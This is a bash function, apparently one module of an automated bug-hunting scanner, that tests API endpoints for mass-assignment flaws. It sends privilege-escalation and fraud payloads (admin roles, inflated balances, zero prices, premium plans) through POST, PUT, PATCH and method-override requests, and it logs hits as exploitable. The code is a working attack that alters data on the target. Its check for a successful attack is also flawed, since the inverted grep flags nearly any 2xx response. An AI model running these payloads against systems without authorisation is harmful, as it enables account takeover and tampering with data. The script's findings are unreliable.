#!/usr/bin/env bash
# Vector 25: Mass Assignment — Modifies protected API fields
# Desc: Tests POST/PUT/PATCH endpoints for mass assignment vulns
# Severity: HIGH
# Proof: Modifies protected fields and observes change

vector_mass_assignment() {
  local target="$1"
  local report="$2"
  local domain=$(get_domain "$target")
  local findings=0

  print_info "Hunting Mass Assignment..."

  # Endpoints to test
  local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|v1|v2|user|admin|profile|account' | head -10)
  [ -z "$endpoints" ] && endpoints="$target"

  # Protected fields to try modifying
  local protected_fields=(
    '{"isAdmin":true,"role":"admin"}'
    '{"is_admin":true,"role":"admin"}'
    '{"admin":true,"role":"admin"}'
    '{"user_type":"admin","access_level":999}'
    '{"permissions":["admin","read","write","delete"]}'
    '{"role_id":1,"group_id":1}'
    '{"verified":true,"email_verified":true}'
    '{"is_verified":1,"status":"active"}'
    '{"balance":999999,"credit":999999}'
    '{"price":0,"discount":100}'
    '{"subscription":"premium","plan":"enterprise"}'
    '{"is_active":true,"is_locked":false}'
  )

  # Also test with _method override
  local overrides=("" "-X PUT" "-X PATCH" "-X POST -H 'X-HTTP-Method-Override: PUT'")

  for endpoint in $endpoints; do
    for field in "${protected_fields[@]}"; do
      for override in "${overrides[@]}"; do
        local response=$(curl -s --connect-timeout 5 --max-time 8 \
          $override \
          -H "Content-Type: application/json" \
          -d "$field" \
          "$endpoint" 2>/dev/null)

        # Check if the response reflects our injection (confirms mass assignment)
        if echo "$response" | grep -qi '"isAdmin":true\|"role":"admin"\|"admin":true\|"premium"'; then
          print_find "Mass Assignment Confirmed!" "Protected field accepted: $(echo $field | cut -c1-60)"
          echo "SEVERITY: HIGH
VECTOR: Mass Assignment
DETAIL: Protected field accepted by API
URL: $endpoint
PAYLOAD: $field
EVIDENCE: Server reflected modified protected field
EXPLOIT: Escalate privileges, modify protected data" > "$REPORTS_DIR/.finding_ma_$(date +%s).txt"
          findings=$((findings + 1))
          break 3
        fi

        # Also check for 200/201 vs 403/401 difference (authorization bypass)
        local http_code=$(curl -s -o /dev/null -w "%{http_code}" \
          $override \
          -H "Content-Type: application/json" \
          -d "$field" \
          "$endpoint" 2>/dev/null)
        
        if [ "$http_code" = "200" ] || [ "$http_code" = "201" ] || [ "$http_code" = "204" ]; then
          if echo "$response" | grep -qv '"error"\|"unauthorized"\|"forbidden"'; then
            print_find "Potential Mass Assignment" "HTTP $http_code on $endpoint"
            findings=$((findings + 1))
            break 3
          fi
        fi
      done
    done
  done

  if [ "$findings" -eq 0 ]; then
    print_info "No mass assignment found"
  fi

  return $findings
}